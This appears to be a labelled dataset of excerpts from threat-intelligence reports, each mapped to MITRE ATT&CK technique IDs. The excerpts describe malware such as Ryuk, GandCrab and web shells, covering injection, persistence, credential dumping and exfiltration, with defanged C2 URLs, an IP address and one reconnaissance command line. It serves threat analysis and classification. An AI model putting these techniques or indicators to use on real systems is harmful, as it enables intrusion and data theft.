+Here is the script hosted on Pastebin: Reflective loader downloaded from pastebin.com The script executes a hardcoded PE file located — Gandcrab —at the end of the script using a reflective DLL-loading technique. In addition to the ransomware, we identified another actor trying to execute a Monero miner on the vulnerable server with China Chopper:	['T1102', 'T1620']
+Ryuk uses a rather basic injection technique, whereby it first gets a handle on the target process using OpenProcess and allocates a buffer in its address space using VirtualAllocEx. The allocated buffer would have the size of the malware’s image and would be required to be positioned at the same base address.	['T1106', 'T1055', 'T1055.002']
+The following figure shows the content of the downloaded shell script sh. Upon execution, the sh script downloads different architectures of DDoS bot, and runs the downloaded binaries. None of the malwares was available on Virustotal at the time of our discovery, however many of them were uploaded to Virustotal not long after. More and more attack traffic are being detected at the time of writing, indicating that many devices are probably infected already.	['T1059', 'T1059.004', 'T1587.001']
+2.      The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server. It will be attached in each of commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data. The victim ID will be stored in the “bps.key” file.	['T1041', 'T1567.002']
+We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.	['T1566.001', 'T1598.002', 'T1547.009']
+Out of all the modules used in this attack, Filesystem.dll might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt and Files.txt.	['T1083', 'T1074.001']
+The persistence is guaranteed by a method that is called when the program is closing. It checks if the malware directory exists as specified in an embedded configuration and then copies the malware executable inside it. It also creates a registry key under “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to execute the worm automatically.	['T1547.001', 'T1547']
+Assuming the weaponized document’s macro code has executed the encoded, heavily obfuscated JScript code will be saved to disk and executed. One of the first behaviours observed is that of a fake error message box, such as the example in Figure 25. Message text varies but follows a theme of reporting something seemingly legitimate failed to run – another false sense of security for the victim.	['T1027', 'T1140', 'T1036', 'T1204.002', 'T1204', 'T1059.007']
+During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously.	['T1113', 'T1140', 'T1057', 'T1071.001']
+To enable lateral movement, the adversary uses ping and nslookup commands, in addition to scanning the environment for Windows systems listening on port 445. This is done using a simple port scanning binary unique to PROPHET SPIDER, typically named pscan or pscan2. For example, process logging may reveal similar commands to the below. Note the commands are executed by the oracle user account, which is the user that runs WebLogic. In multiple PROPHET SPIDER cases, CrowdStrike observed a reverse shell binary located at /var/tmp/[filename], which launches bash as a child; and the pscan2 command is a child to bash. The reverse shell is a child to PID 1, which indicates it was either executed via an init script created for persistence, or its parent was terminated causing it to become a zombie process that was reaped by the init daemon.	['T1018', 'T1059', 'T1049', 'T1059.004', 'T1046', 'T1021.002']
+Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed. Palo Alto Networks customers are protected by these threats in the following ways:	['T1105', 'T1204', 'T1204.002', 'T1203']
+The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie’s relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders’ assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.	['T1105', 'T1132', 'T1027']
+During the execution of subsequent instructions, a call to the 0x10001D9A function is made. This function has a loop located at offset 0x10001E4D and performs several operations. One of these operations is a 1-byte XOR instruction (xor byte ptr [esi+ecx], al) located at offset 0x10001E4D. Its purpose is to decrypt a total of 110591 bytes of the executable’s resource data where the PE binary data is stored. The final result is an in-memory reconstructed executable file. In Figure 19, the encrypted and decrypted data in the process’s memory can be seen.	['T1140']
+Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).	['T1105', 'T1113', 'T1082', 'T1119', 'T1059.005', 'T1059.007', 'T1005']
+In this sense, APT3 crafted its own exploit from other exploits – a tactic very similar to one used by the Equation group. As this threat group also uses the name UPS team, we decided to name their version of the exploit bundle UPSynergy.	['T1068', 'T1588.005', 'T1587.004']
+First, the module checks if it is running in a target process name and (if specified) by the target username. If the module or user names do not match, the thread terminates.	['T1033', 'T1057', 'T1087', 'T1480']
+SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.	['T1571']
+The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.	['T1036.005']
+But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.	['T1083', 'T1082', 'T1480']
+In recent OilRig attacks, the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks. Earlier OilRig attacks appear to use fake job offers as a social engineering theme. The campaign appears highly targeted and delivers a backdoor we have called ‘Helminth’. Over the course of the attack campaign, we have observed two different variations of the Helminth backdoor, one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable.	['T1598.003', 'T1598.002', 'T1566.002', 'T1566', 'T1566.001', 'T1598.001', 'T1036']
+This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.	['T1056', 'T1056.001', 'T1074.001', 'T1074']
+We observed another campaign targeting an organisation located in Lebanon. While our first case describes a targeted campaign with the goal to exfiltrate data affecting internal servers, this one is the opposite: an auxiliary public web site compromised by several attackers for different purposes. We identified actors trying to deploy ransomware on the vulnerable server using China Chopper. The first attempt was Sodinokibi ransomware:	['T1102', 'T1584.006', 'T1584.004']
+Finally, the Phorpiex VNC worm executes several scripts on a victim’s machine by simulating keyboard input using VNC protocol. First it enters Win+R to open the “Run program” window. Then it “enters” the script contents by sending the corresponding VNC packets:	['T1059', 'T1021.005', 'T1059.003']
+The second functionality enabled in this sample that had not been observed in previous Thanos variants involved the ability to overwrite the master boot record (MBR). Once the code checks to see if the operating system version is not “Windows 10” or “Windows 8,” the code will attempt to open “\\.\PhysicalDrive0” and write a 512-byte string to offset 0. The byte array that is written to offset 0 of “\\.\PhysicalDrive0” initially has a ransom message of “Your files are encrypted. Contact us at: get-my-data@protonmail.com…”, but the code will replace this string with the following string before writing to disk:	['T1485', 'T1561.002', 'T1082']
+In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims. This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other. C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020. On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz. After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.	['T1102', 'T1518.001']
+The embedded SWF decrypted contains ActionScript that attempts to exploit a vulnerability. The purpose of aforementioned version check is to make sure that the correct malicious ActionScript is executed to exploit a vulnerability that the Flash player is vulnerable to. Table 1 shows the range of Flash player versions within DealersChoice.A, the embedded SWF file loaded and the associated vulnerability exploited by the loaded SWF.	['T1203', 'T1068']
+Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.	['T1041', 'T1486', 'T1020']
+In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.	['T1070.004', 'T1587.001']
+If an encrypted command arrives from the C&C, it is decrypted using RC4. The source domain name is used as the decryption key. Once the C&C command has been executed, a [Tasks] section will be created in config.ini; this is a logall actions performed by the bot.	['T1140', 'T1027', 'T1573', 'T1573.001']
+To make sure the malware is executed after reboot, Ryuk uses a straight forward persistence technique, whereby it writes itself to the Run registry key using the following command:	['T1547.001', 'T1112', 'T1547']
+It also searches for directories with names “.Backup0D” – “.Backup0M”, and for each directory, removes contained files named “target.lnk” and “desktop.ini” and the directory itself. These directories are also created during the Gauss USB infection.	['T1083']
+"Gather all system information using the ""systeminfo"" command and record to a file: cmd.exe /c systeminfo >>""%s"" where %s = <file_path>."	['T1082', 'T1074.001', 'T1074', 'T1059.003', 'T1059']
+The remainder of this section focuses largely on Object Linking and Embedding (OLE) Microsoft Excel documents, as they are most commonly used by the Hangover group, at least when it comes to the BackConfig malware. Through infrastructure analysis however, Unit 42 was able to find a BackConfig PE sample (SHA256: e28f1bc0b0910757b25b2146ad02798ee6b206a5fe66ce68a28f4ab1538d6a1f; first seen 10/24/2019) using the C2 domain matissues[.]com and dropped by the weaponised Rich Text Format (RTF) file (SHA256: 752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f) from the same day. The RTF used the CVE-2017-11882 exploit against equation editor vulnerabilities in Office applications to execute the PE sample which was a unique exploitation method compared to all other samples analyzed.	['T1203', 'T1068']
+First technique: FIN6 used PowerShell to execute an encoded command. The command consisted of a byte array containing a base64 encoded payload shown in Figure 1.	['T1059.001', 'T1027', 'T1140']
+We first discussed ShaggyPanther, a previously unseen malware and intrusion set targeting Taiwan and Malaysia, in a private report in January 2018. Related activities date back to more than a decade ago, with similar code maintaining compilation timestamps from 2004. Since then, ShaggyPanther activity has been detected in several more locations: most recently in Indonesia in July, and – somewhat surprisingly – in Syria in March. The newer 2018 and 2019 backdoor code maintains a new layer of obfuscation and no longer maintains clear-text C2 strings. Since our original release, we have identified an initial server-side infection vector from this actor, using SinoChopper/ChinaChopper, a commonly used web shell shared by multiple Chinese-speaking actors. SinoChopper not only performs host identification and backdoor delivery but also email archive theft and additional activity. Although not all incidents can be traced back to server-side exploitation, we did detect a couple of cases and obtained information about their staged install process. In 2019, we observed ShaggyPanther targeting Windows servers.	['T1027', 'T1505.003', 'T1048']
+USB Worm -> this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server.	['T1091', 'T1105', 'T1025', 'T1570', 'T1005']
+8. Copy “winrestore.dll” to the directory set in step 6 or 7a with the filename “MSO1234.win” .	['T1036', 'T1036.005']
+The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.	['T1059.001', 'T1059', 'T1219', 'T1021', 'T1083', 'T1057', 'T1082', 'T1003.001', 'T1059.003']
+Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.	['T1105', 'T1059', 'T1041', 'T1082']
+In this blog we show that CVE-2017-0005, a Windows Local-Privilege-Escalation (LPE) vulnerability that was attributed to a Chinese APT, was replicated based on an Equation Group exploit for the same vulnerability that the APT was able to access. “EpMe”, the Equation Group exploit for CVE-2017-0005, is one of 4 different LPE exploits included in the DanderSpritz attack framework. EpMe dates back to at least 2013 – four years before APT31 was caught exploiting this vulnerability in the wild.	['T1068', 'T1587.004', 'T1588.005']
+This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively.	['T1057']
+Zebrocy has continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization. This module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. In September, Zebrocy spear-phished multiple NATO and alliance partners throughout Europe, attempting to gain access to email communications, credentials and sensitive documents. This campaign is similar to past Zebrocy activity, with target-relevant content used within emails, and ZIP attachments containing harmless documents alongside executables with altered icons and identical filenames. The group also makes use of remote Word templates pulling contents from the legitimate Dropbox file-sharing site. In this campaign, Zebrocy targeted defense and diplomatic targets located throughout Europe and Asia with its Go backdoor and Nimcy variants.	['T1566.001', 'T1036', 'T1119', 'T1204', 'T1587.001', 'T1204.002', 'T1598.002', 'T1059.006', 'T1027.009', 'T1027.002', 'T1059.007']
+This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL, depending on the malware sample. Then the service is created for the service dll. Service names also can differ from version to version; we discovered the following names — DriverManage, WebService and WebClientManager. These functions assure malware persistence in a compromised OS between system reboots.	['T1543.003', 'T1543', 'T1569.002', 'T1036.005', 'T1036.004']
+While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.	['T1505.003']
+Figure 6 shows our testing of the download command within RGDoor, specifically a command “download$c:\windows\temp\test.txt” that downloads the file uploaded in our previous test. We chose to use the key “89” (0x89) in this test to showcase RGDoor’s ability to use any hexadecimal byte as a key, which resulted in an encoded command string of “7eb+5+Xm6O2t6rPV/uDn7eb++tX97OT51f3s+v2n/fH9”. RGDoor responds to this command with the encoded string “/ez6/eDn7ri7uoM=”, which when decrypted with the “89” key results in the string ‘testing123\n’, which is the contents of the “test.txt” file.	['T1105', 'T1140', 'T1132']
+The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.	['T1105', 'T1027', 'T1140', 'T1573', 'T1036', 'T1036.005', 'T1001']
+One of the maldocs disclosed here was referred to by a Bit.ly-shortened URL (created Jan. 23, 2020) — hxxp://bit[.]ly/iaf-guidelines — which redirects to hxxp://tecbeck[.]com/IAP39031[.]docx. It is highly likely that the attackers hosted the maldocs on a public server and distributed the direct or Bit.ly links to the targets in the form of spear-phishing emails. This may be done to bypass detection systems that scan email attachments for malware.	['T1598.003', 'T1566.002']
+The back door program used in the APT-C-06 organization's early APT operation was Lucker. It is a set of self-developed and customized modular Trojans. The set of Trojans is powerful, with keyboard recording, voice recording, screen capture, file capture and U disk operation functions, etc. The Lucker ‘s name comes from the PDB path of this type of Trojan, because most of the backdoor's function use the LK abbreviation. In the middle to late period we have discovered its evolution and two different types of backdoor programs. We have named them Retro and Collector by the PDB path extracted from the program. The Retro backdoor is an evolution of the Lucker backdoor and it actives in a series of attacks from 2016 till now. The name comes from the pdb path of this type of Trojan with the label Retro, and also has the word Retro in the initial installer.	['T1113', 'T1083', 'T1005', 'T1123']
+Cisco Talos has observed a new malware campaign operated by the Kimsuky APT group since June 2021. Kimsuky, also known as Thallium and Black Banshee, is a North Korean state-sponsored advanced persistent threat (APT) group active since 2012. This campaign utilizes malicious blogs hosted on Blogspot to deliver three types of preliminary malicious content: beacons, file exfiltrators and implant deployment scripts. The implant deployment scripts, in turn, can infect the endpoint with additional implants such as system information-stealers, keyloggers and credential stealers. These implants are derivatives of the Gold Dragon/Brave Prince family of malware operated by Kimsuky since at least 2017 — now forked into three separate modules. This campaign targets South Korea-based think tanks whose research focuses on political, diplomatic and military topics pertaining to North Korea, China, Russia and the U.S.	['T1082', 'T1189']
+This infection chain is based on a Windows shortcut file, with a misleading .docx.lnk double extension, and constitutes a more modular approach to PowerPepper delivery.	['T1036', 'T1204.002', 'T1036.007']
+But these are not the only differences between the two versions: while the Filesystem.dll module was dropped by all the known variants of gpUpdates.exe, it was not always used in the same manner.	['T1036']
+Vesta Control Panel command injection is one of the several newly included exploits. The version released on May 18 also included Python versions of EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0147) exploits with a Windows download command line as the payload. The addition of new exploits shows that the actor is actively developing new methods of spreading and following the latest vulnerabilities with published PoCs. In the newest instances discovered on May 22, the bot improved its ability to supply credentials for SMB but excluded it from the main exploit function. The usernames and passwords are now in a separate two arrays and extended to include many other usernames and passwords. The exploitation function of this sample does not contain EternalBlue and EternalRomance but attempts to connect over SMB (port 445) and create a service remotely to download and run the main bot file. This latest sample is a pyinstaller-generated sample but is PE file rather than ELF, which was seen previously.	['T1068', 'T1203', 'T1210', 'T1059', 'T1021', 'T1570', 'T1021.002', 'T1543.003']
+During the C2 interactions, PyMICROPSIA downloads two additional samples that are dropped and executed on the victim’s system, running additional functionality. These payloads are not Python / PyInstaller based.	['T1105']
+There are multiple web inject files. One contains all of the target URL and hostname data, and the second contains regex patterns, as well as the code to inject. These files are both RC4-encrypted and compressed.	['T1027']
+The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc”. This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка”. Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).	['T1059', 'T1059.003']
+After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the ‘base64.b16encode’ method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.	['T1027']
+Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.	['T1003.001', 'T1560', 'T1003', 'T1074.001', 'T1074', 'T1560.001', 'T1003.004']
+This investigation illustrates an attacker using multiple tools and techniques to implement their full attack chain. A variety of infection artifacts are utilized ranging from bespoke tools (IndigoDrop) to customizable adversarial tools (Cobalt Strike beacons). The attackers also use a combination of public and private servers to host their malicious payloads with a growing trend towards the sole usage of public servers. The use of military-themed maldocs (lures) indicates that government and military organizations in South Asia may be the targets of this threat actor. The maldocs contain bonafide content and are most likely weaponized copies of benign documents known to peek the interests of their targets. The attack variants discovered over time show us that the threat actor can evolve their TTPs in a short period of time. The earliest observable campaigns of this actor date back to April 2018 and continue to operate today along with the most recent evolutions of the attacks. Evidence of rapid ideation, testing and production of new and diversified modules and IndigoDrop iterations indicates highly motivated and agile adversaries. The use of adversarial frameworks like Cobalt Strike suggests that the attackers are looking to expand their malicious arsenal at a significant rate with self-authored and customizable artifacts. Modern-day malware attack chains consist of multiple stages and operational entities. These artifacts and entities may be hosted locally or on remote servers. For example, this attack consists of multiple shellcodes hosted on remote locations downloaded by a local component (IndigoDrop) during runtime to instrument the attack chain. Thus, while network-based detection is important, it should be complemented with system behavior analysis and endpoint protections.	['T1588.001', 'T1036', 'T1587.001']
+Since PROPHET SPIDER gains access via web servers or other public-facing servers, they will often initially compromise a Linux-based system. Once initial access is obtained on a Linux system, PROPHET SPIDER typically deploys a webshell, reverse shell binary or a perl reverse shell script (commonly named bc.pl) as their initial persistence mechanism.	['T1505.003', 'T1059', 'T1059.004', 'T1190']
+As this is a NULL-Deref vulnerability, we can immediately rule out CVE-2017-0005, as the stack trace shown in Microsoft’s blog has nothing to do with the NULL page. This means that this is possibly another vulnerability found and exploited by Equation Group in 2013. With that out of the way, it is time to understand what triggers this NULL-Deref vulnerability.	['T1068', 'T1587.004']
+When Gauss infects an USB memory stick, it sets a certain flag to 30. This TTL (time to live) flag is decremented every time the payload is executed from the stick. Once it reaches 0, the data stealing payload cleans itself from the USB stick. This makes sure that sticks with Gauss infections do not survive ItW for long enough to results in detection.	['T1091', 'T1070.004', 'T1052.001', 'T1052']
+The ability to launch a .exe or .dll file in memory. The ability to leverage schtasks.exe to add or modify task schedules. The ability to launch custom PowerShell commands. The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of doing so.	['T1053.005', 'T1053', 'T1059.001']
+Our Next-Generation Firewall caught the first incident of CVE-2020-8515 exploitation on March 31, 2020 at 13:51 (UTC). In addition to this attack, several bots’ attempt to propagate by exploiting CVE-2020-5722 were also caught by our firewall. In the case of CVE-2020-8515 exploitation, the threat actor attempted to download a shell script to the tmp directory, and execute the downloaded script, as shown in Figure 9. In the case of CVE-2020-5722 exploitation, the payload only downloads an arm7 binary and executes it, as shown in Figure 10.	['T1068']
+In addition, DoppelPaymer is designed to run only after a specific command line argument is provided. The malware computes a CRC32 checksum of the first argument passed on the command line and adds it with a constant value that is hard-coded in the binary. The malware then adds the instruction pointer address to this result, which becomes the destination for a jmp used to continue the malware execution. The hard-coded constant value is unique to each build. In the sampled analyzed, this value was 0x672e6eb7, as shown below in Figure 6.	['T1480']
+The cheat sheet includes examples of commands needed for persistence, network reconnaissance, pivoting, credential dumping, general system and network data gathering, as well as data exfiltration and commands to configure the system to allow remote desktop protocol (RDP) sessions. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands also suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool between the infected system and an actor-controlled domain. Also, the command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected. According to these commands, the actor would likely make these pivots to other systems by performing credential dumping from the Windows registry and process memory.	['T1105', 'T1021.001', 'T1570', 'T1018', 'T1021', 'T1049', 'T1041', 'T1021.004', 'T1016']
+The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.	['T1027', 'T1505.003', 'T1573', 'T1005', 'T1119', 'T1074', 'T1074.001']
+Nemucod malware is mostly deployed using weaponized documents where the malicious VBA macro code is responsible for constructing and executing a malicious encoded JScript file that carries out further activities including registering victims with the actors before downloading payloads, which in this case included a credential stealing Trojan executable component.	['T1027', 'T1059', 'T1204.002', 'T1059.005', 'T1059.007', 'T1587.001']
+The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.	['T1027']
+After the initial beacon, Gasket sends supplemental requests to a URL of /time/sync to obtain commands from the threat actor, which will look like the following:	['T1071.001']
+The TwoFace payload shell requires a password that is sent within HTTP POST data or within the HTTP Cookie, specifically with a field with a name “pwd”. The “pwd” field is used for authentication as a password, which the payload will generate the SHA1 hash and compare it with a hash that is hardcoded within the payload. We extracted the SHA1 hashes used for authentication from the known TwoFace shells, as seen in Table 4 and were able to find the associated password string for three of them. One of the passwords, “RamdanAlKarim12” contains a phrase that means “Ramadan the generous” in Arabic (رمضان الكريم). Another known password is “FreeMe!”, while the last known password contains what may be an acronym of a middle eastern energy organization followed by “pass”. It is possible that the actor chose this acronym based on the targeted organization, but we cannot confirm this.	['T1071.001']
+The attack itself is performed in an infinite loop. The IP addresses used for scanning are generated randomly using the rand() function and the GetTickCount() results as a random seed. The only filter rule for an IP address is that it cannot start with 127, 172 or 192. A separate thread is created to communicate with each IP address.	['T1046', 'T1106']
+The ultimate purpose of the aforementioned components is to install and execute the Komplex payload. The dropper component saves the payload to “/Users/Shared/.local/kextd” (SHA256: 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5) and ultimately executes the payload. The payload begins by conducting an anti-debugging check to see if it is being debugged before proceeding with executing its main functionality, which can be seen in the “AmIBeingDebugged” function in Figure 6. The “AmIBeingDebugged” function uses the “sysctl” function to check to see if a specific “P_TRACED” flag is set, which signifies that the process is being debugged. A particularly interesting part of this function is that it is very similar to the function provided by Apple to its developers in a guide created in 2004 titled “Detecting the Debugger”. This is not the first time the Sofacy group’s malware authors have obtained techniques from publicly available sources, as demonstrated in the use of the Office Test Persistence Method that they obtained from a blog posted in 2014.	['T1587.001', 'T1622']
+The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.	['T1106']
+In the initial versions of the earlier exploits, such as the exploit for CVE-2013-3660 and some versions of CVE-2015-0057, the exploit caused the kernel to execute a token-swapping shellcode stored in user-mode.	['T1134', 'T1134.002', 'T1134.001']
+During the course of our investigations, we noticed that the PowerPepper C2 name servers were actually open DNS resolvers that always resolved arbitrary hostnames with the same IP addresses: 128.49.4.4 (a US Navy-owned server), 91.214.6.100 and 91.214.6.101 (HSBC UK-owned servers). Using this fact and historical reverse DNS resolutions data, we have been able to preemptively identify the PowerPepper C2 domains.	['T1583.002']
+We uncovered two new espionage backdoors associated with Operation Earth Kitsune: agfSpy and dneSpy. This post provides details about these malware types, including the relationship between them and their command and control (C&C) servers .	['T1588.001']
+This new version was dubbed “GandCrab 2” by the infosec community. However, upon closer inspection of the ‘version’ string embedded into GandCrab’s C&C check-in, you can see that the gang uses their own nomenclature: the really early versions are 1.1, the later versions go up to 2.1, the first versions of GandCrab 2 were  1.0.0r and the latest version is kto_zaskrinit_tot_pidor (a colorful Russian snarl, aimed at the people who see the version string and reach for their PrintScreen key).	['T1587.001']
+The most recent change to the argos-tracking.co[.]uk domain was on the 22nd February 2017 to suspend it. This example highlights the lengths the actors will go to in their reconnaissance of their victims in order to increase their changes of successful compromise.	['T1583.001']
+Unlike the common ransomware, systematically distributed via massive spam campaigns and exploit kits, Ryuk is used exclusively for tailored attacks. In fact, its encryption scheme is intentionally built for small-scale operations, such that only crucial assets and resources are infected in each targeted network with its infection and distribution carried out manually by the attackers.	['T1587.001']
+We were able to link most of the decoy contents back to the original contents published on the internet by their initial authors, meaning DeathStalker did not craft them, but instead picked out appropriate ready-made material that was available on the internet. One of the decoy components impersonated a legitimate travel agent but included altered contact details.	['T1588.001', 'T1587.001']
+Remcos is a RAT that is offered for sale by a company called Breaking Security. While the company says it will only sell the software for legitimate uses as described in comments in response to the article here and will revoke the licenses for users not following their EULA, the sale of the RAT gives attackers everything they need to establish and run a potentially illegal botnet. Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. It is written in C++ and is relatively small for the rich functionality it contains. The Remcos payload included by the PowerShell loader is the latest version 2.5.0. Talos has created a decoder that allows simple extraction of Remcos configurations. Cisco Umbrella shows an increase in requests for the default C2 domain dfgdgertdvdf.xyz of the sample around the time we found the initial PowerShell loader. DNS activity for the default C2 domain of the Remcos payload.	['T1059.001']
+Interestingly, this IP address also had some associated domain names, as shown in the zoomed-in box as well, including letstrade-bit[.]com, lesbtc[.]com (and mail.lesbtc[.]com) and secure-trade24[.]com with the former two domains being registered December 20th and the latter on December 14th. All three domains mention trading or Bitcoins (BTC) but from the samples analysed, it is not clear how these subdomains are being used, however such terms are indicative of contemporary ransomware that requests ransom payments using BTC.	['T1583.001']
+Another sample discovered in late August 2021 consisted of the C2 host URI xxx[.]xxxx[.]tk and the host header setting configured to point to test[.]softlemon[.]net.	['T1071.001']
+Figure 3 Portion of malicious macro responsible for compiling and executing embedded source code .	['T1027.004']
+Malicious macros already embedded, ready to execute. Malicious macro downloaded as part of an externally linked template that is then injected into the original lure maldoc.	['T1027.009']
+Of interest is the script file docker.container.local.spread.txt, which lists the name of a local Docker image, as shown in Figure 8. The Docker image is a local Docker image, meaning it is not hosted and downloaded from an external docker repository such as Docker Hub. Researchers did search Docker Hub for the presence of this Docker image and none were found.	['T1610']
